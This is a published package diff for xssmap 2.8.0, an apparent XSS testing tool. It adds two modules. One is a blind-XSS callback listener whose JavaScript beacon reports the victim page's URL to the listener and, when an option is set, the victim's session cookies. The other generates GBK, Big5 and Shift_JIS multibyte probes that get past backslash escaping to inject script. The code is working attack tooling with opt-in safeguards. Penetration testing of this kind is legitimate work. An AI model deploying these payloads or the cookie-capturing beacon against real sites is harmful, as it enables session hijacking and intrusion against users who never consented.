xssmap 2.8.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
xssmap/callback.py ADDED
@@ -0,0 +1,161 @@
1
+ """Out-of-band callback listener for blind XSS.
2
+
3
+ Blind XSS is the case where the payload is stored on the target but rendered
4
+ somewhere the tester cannot see: an admin inbox, a moderation queue, a log
5
+ viewer. Reflection checks are useless there, because the page that executes the
6
+ payload is not the page that stored it.
7
+
8
+ The proof has to come from the payload itself calling home. This module is a
9
+ tiny HTTP listener that does exactly that:
10
+
11
+ * ``GET /b.js?m=<marker>`` serves a one-line beacon that immediately requests
12
+ ``/hit?m=<marker>`` with the victim's URL, so a hit proves that a *browser on
13
+ another page* executed script we planted.
14
+ * ``GET /hit?m=<marker>`` records the hit (marker, URL, user agent, time).
15
+
16
+ Session cookies are *not* collected unless ``--capture-cookies`` is passed: an
17
+ OOB hit already proves execution, and reading another user's session cookie is a
18
+ much bigger step than proving that script ran. When enabled, one cookie string
19
+ per hit is recorded and the report says so.
20
+
21
+ Only stdlib, binds to loopback by default, and every hit is timestamped so the
22
+ report can show ordering (planted at T0, executed at T1).
23
+ """
24
+ from __future__ import annotations
25
+
26
+ import threading
27
+ import time
28
+ import urllib.parse
29
+ from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
30
+
31
+ # %s, not str.format: the IIFE braces would be parsed as format fields.
32
+ BEACON_JS = (
33
+ "(function(){var m=%s;var u=encodeURIComponent(location.href);"
34
+ "var i=new Image();i.src='/hit?m='+m+'&u='+u+'&c='+encodeURIComponent(%s);})();"
35
+ )
36
+ COOKIE_EXPR = "document.cookie"
37
+ EMPTY_EXPR = "''"
38
+
39
+
40
+ class _Handler(BaseHTTPRequestHandler):
41
+ server_version = "xssmap-callback"
42
+
43
+ def log_message(self, fmt, *args): # silence the default stderr chatter
44
+ pass
45
+
46
+ def _plain(self, code: int, body: bytes, ctype: str = "text/plain") -> None:
47
+ self.send_response(code)
48
+ self.send_header("Content-Type", ctype)
49
+ self.send_header("Content-Length", str(len(body)))
50
+ self.send_header("Cache-Control", "no-store")
51
+ self.end_headers()
52
+ try:
53
+ self.wfile.write(body)
54
+ except Exception:
55
+ pass
56
+
57
+ def do_GET(self):
58
+ parsed = urllib.parse.urlsplit(self.path)
59
+ query = urllib.parse.parse_qs(parsed.query)
60
+ marker = (query.get("m") or [""])[0][:120]
61
+ listener: CallbackListener = self.server.listener # type: ignore[attr-defined]
62
+
63
+ if parsed.path.rstrip("/").endswith("b.js"):
64
+ body = listener.beacon(marker).encode()
65
+ listener.record(marker, self.path, self.headers.get("User-Agent", ""),
66
+ urllib.parse.unquote((query.get("u") or [""])[0]),
67
+ kind="script")
68
+ self._plain(200, body, "application/javascript")
69
+ return
70
+
71
+ listener.record(marker, self.path, self.headers.get("User-Agent", ""),
72
+ urllib.parse.unquote((query.get("u") or [""])[0]),
73
+ kind="hit", cookie=(query.get("c") or [""])[0][:200])
74
+ self._plain(200, b"ok")
75
+
76
+ def do_POST(self):
77
+ length = int(self.headers.get("Content-Length") or 0)
78
+ body = self.rfile.read(min(length, 65536)) if length else b""
79
+ listener: CallbackListener = self.server.listener # type: ignore[attr-defined]
80
+ listener.record("", self.path, self.headers.get("User-Agent", ""),
81
+ body[:400].decode("utf-8", "replace"), kind="post")
82
+ self._plain(200, b"ok")
83
+
84
+
85
+ class CallbackListener:
86
+ """Loopback HTTP listener that records payload call-backs."""
87
+
88
+ def __init__(self, host: str = "127.0.0.1", port: int = 0, log=None,
89
+ capture_cookies: bool = False, public_url: str = ""):
90
+ self.host = host
91
+ self.port = port
92
+ self.log = log
93
+ self.capture_cookies = capture_cookies
94
+ # The address to embed in payloads can differ from the bind address
95
+ # (tunnel, port-forward, container network). Empty means "use the
96
+ # host:port the listener actually bound".
97
+ self.public_url = (public_url or "").strip().rstrip("/")
98
+ self.hits: list[dict] = []
99
+ self._lock = threading.Lock()
100
+ self._httpd: ThreadingHTTPServer | None = None
101
+ self._thread: threading.Thread | None = None
102
+
103
+ # -- lifecycle -----------------------------------------------------
104
+ def start(self) -> CallbackListener:
105
+ httpd = ThreadingHTTPServer((self.host, self.port), _Handler)
106
+ httpd.daemon_threads = True
107
+ httpd.listener = self # type: ignore[attr-defined]
108
+ self.port = httpd.server_address[1]
109
+ self._httpd = httpd
110
+ self._thread = threading.Thread(target=httpd.serve_forever, daemon=True,
111
+ name="xssmap-callback")
112
+ self._thread.start()
113
+ return self
114
+
115
+ def stop(self) -> None:
116
+ if self._httpd is not None:
117
+ try:
118
+ self._httpd.shutdown()
119
+ self._httpd.server_close()
120
+ except Exception:
121
+ pass
122
+ self._httpd = None
123
+
124
+ @property
125
+ def url(self) -> str:
126
+ if self.public_url:
127
+ return self.public_url
128
+ return f"http://{self.host}:{self.port}"
129
+
130
+ def beacon(self, marker: str) -> str:
131
+ """Beacon script for one marker; cookie capture is opt-in."""
132
+ expr = COOKIE_EXPR if self.capture_cookies else EMPTY_EXPR
133
+ return BEACON_JS % (repr(marker or ""), expr)
134
+
135
+ # -- recording -----------------------------------------------------
136
+ def record(self, marker: str, path: str, agent: str, victim_url: str,
137
+ kind: str = "hit", cookie: str = "") -> None:
138
+ entry = {"marker": marker, "path": path[:200], "agent": agent[:160],
139
+ "victim_url": victim_url[:300], "kind": kind,
140
+ "at": time.strftime("%H:%M:%S"), "cookie": cookie}
141
+ with self._lock:
142
+ self.hits.append(entry)
143
+ if self.log is not None:
144
+ try:
145
+ self.log.ok(f"callback {kind}: marker {marker or '-'} from "
146
+ f"{victim_url or agent[:60] or 'unknown'}")
147
+ except Exception:
148
+ pass
149
+
150
+ def seen(self, marker: str) -> list[dict]:
151
+ with self._lock:
152
+ return [h for h in self.hits if marker and h["marker"] == marker]
153
+
154
+ def wait_for(self, marker: str, timeout: float = 6.0) -> dict | None:
155
+ deadline = time.time() + timeout
156
+ while time.time() < deadline:
157
+ found = self.seen(marker)
158
+ if found:
159
+ return found[0]
160
+ time.sleep(0.15)
161
+ return None
xssmap/charset.py ADDED
@@ -0,0 +1,117 @@
1
+ """Multibyte charset escaping bypasses (GBK, Big5, Shift_JIS).
2
+
3
+ Backslash-escaping assumes one byte is one character. In a multibyte encoding
4
+ it is not: a lead byte followed by ``0x5C`` is a single character, so an escape
5
+ routine that turns ``'`` into ``\\'`` produces a byte sequence the database (or
6
+ the template engine) decodes as *one character followed by a bare quote*. The
7
+ quote closes the string the developer thought was protected.
8
+
9
+ The canonical case is the Java/MySQL ``SET NAMES gbk`` bug: the input
10
+ ``0xBF 0x27`` is escaped to ``0xBF 0x5C 0x27``, which decodes as ``縗`` + ``'``.
11
+
12
+ Detecting this needs bytes, not text: the check is whether ``lead + 0x5C``
13
+ decodes to exactly one character under the page's declared charset, and whether
14
+ a quote and the injected code follow it. A page that escapes correctly (or
15
+ escapes twice, or never decodes as that charset) fails the test.
16
+ """
17
+ from __future__ import annotations
18
+
19
+ import re
20
+ from dataclasses import dataclass
21
+
22
+ _CHARSET_PARAM_RE = re.compile(r"charset\s*=\s*[\"']?\s*([\w.:-]+)", re.I)
23
+ _META_CHARSET_RE = re.compile(rb"<meta[^>]+charset\s*=\s*[\"']?\s*([a-z0-9_.:-]+)", re.I)
24
+
25
+
26
+ @dataclass(frozen=True)
27
+ class Family:
28
+ """One multibyte encoding that can swallow an escape byte."""
29
+
30
+ name: str
31
+ codec: str
32
+ lead: bytes # lead byte that consumes a following 0x5C
33
+ aliases: tuple[str, ...]
34
+ note: str
35
+
36
+
37
+ FAMILIES: tuple[Family, ...] = (
38
+ Family("GBK", "gbk", b"\xbf",
39
+ ("gbk", "gb2312", "gb_2312-80", "gb18030", "cp936", "x-gbk", "euc-cn"),
40
+ "GBK/GB2312/GB18030 (0xBF 0x5C is one character)"),
41
+ Family("Big5", "big5", b"\xa1",
42
+ ("big5", "big5-hkscs", "cp950", "x-x-big5"),
43
+ "Big5 (0xA1 0x5C is one character)"),
44
+ Family("Shift_JIS", "shift_jis", b"\x81",
45
+ ("shift_jis", "shift-jis", "sjis", "x-sjis", "windows-31j", "cp932", "ms_kanji"),
46
+ "Shift_JIS (0x81 0x5C is one character)"),
47
+ )
48
+
49
+ BY_NAME = {alias: family for family in FAMILIES for alias in family.aliases}
50
+
51
+
52
+ def family_for(charset: str | None) -> Family | None:
53
+ """Map a charset label to the multibyte family it belongs to."""
54
+ if not charset:
55
+ return None
56
+ return BY_NAME.get(charset.strip().strip("\"'").lower())
57
+
58
+
59
+ def detect(content_type: str | None, body: bytes = b"") -> Family | None:
60
+ """Find the response charset from the header, then from a <meta> tag."""
61
+ match = _CHARSET_PARAM_RE.search(content_type or "")
62
+ if match:
63
+ family = family_for(match.group(1))
64
+ if family:
65
+ return family
66
+ meta = _META_CHARSET_RE.search(body[:4096])
67
+ if meta:
68
+ return family_for(meta.group(1).decode("ascii", "ignore"))
69
+ return None
70
+
71
+
72
+ def pair_is_one_character(family: Family, lead: bytes, trail: bytes = b"\\") -> bool:
73
+ """Does ``lead + trail`` decode to a single character in this encoding?"""
74
+ try:
75
+ decoded = (lead + trail).decode(family.codec)
76
+ except (UnicodeDecodeError, LookupError):
77
+ return False
78
+ return len(decoded) == 1
79
+
80
+
81
+ def escape_observed(body: bytes, quote: bytes = b"'") -> bool:
82
+ """Did the application backslash-escape the quote at all?"""
83
+ return b"\\" + quote in (body or b"")
84
+
85
+
86
+ def probe_bytes(family: Family, js: str) -> bytes:
87
+ """Bytes that break a single-quoted JS string through the escape byte.
88
+
89
+ ``lead`` + ``'`` is escaped to ``lead + \\ + '``; that pair decodes to one
90
+ character, so ``'`` terminates the string, ``;`` starts our statement and
91
+ the trailing ``//`` comments out whatever the template appended.
92
+ """
93
+ return family.lead + b"';" + js.encode("ascii", "ignore") + b"//"
94
+
95
+
96
+ def bypass_in_body(body: bytes, family: Family, js_head: bytes = b"document.") -> bool:
97
+ """Is the escaped quote decoded as a bare quote followed by our code?
98
+
99
+ Requires the exact byte pattern the probe produces after escaping:
100
+ ``lead 0x5C 0x27 ;`` -- and that ``lead 0x5C`` really is one character in
101
+ the declared encoding. Anything else (double escaping, utf-8, quote
102
+ stripping) fails the check.
103
+ """
104
+ needle = family.lead + b"\\';"
105
+ body = body or b""
106
+ index = body.find(needle)
107
+ while index != -1:
108
+ if pair_is_one_character(family, family.lead):
109
+ tail = body[index + len(needle):index + len(needle) + len(js_head)]
110
+ if tail == js_head:
111
+ return True
112
+ index = body.find(needle, index + 1)
113
+ return False
114
+
115
+
116
+ def describe(family: Family) -> str:
117
+ return f"{family.name} ({family.note})"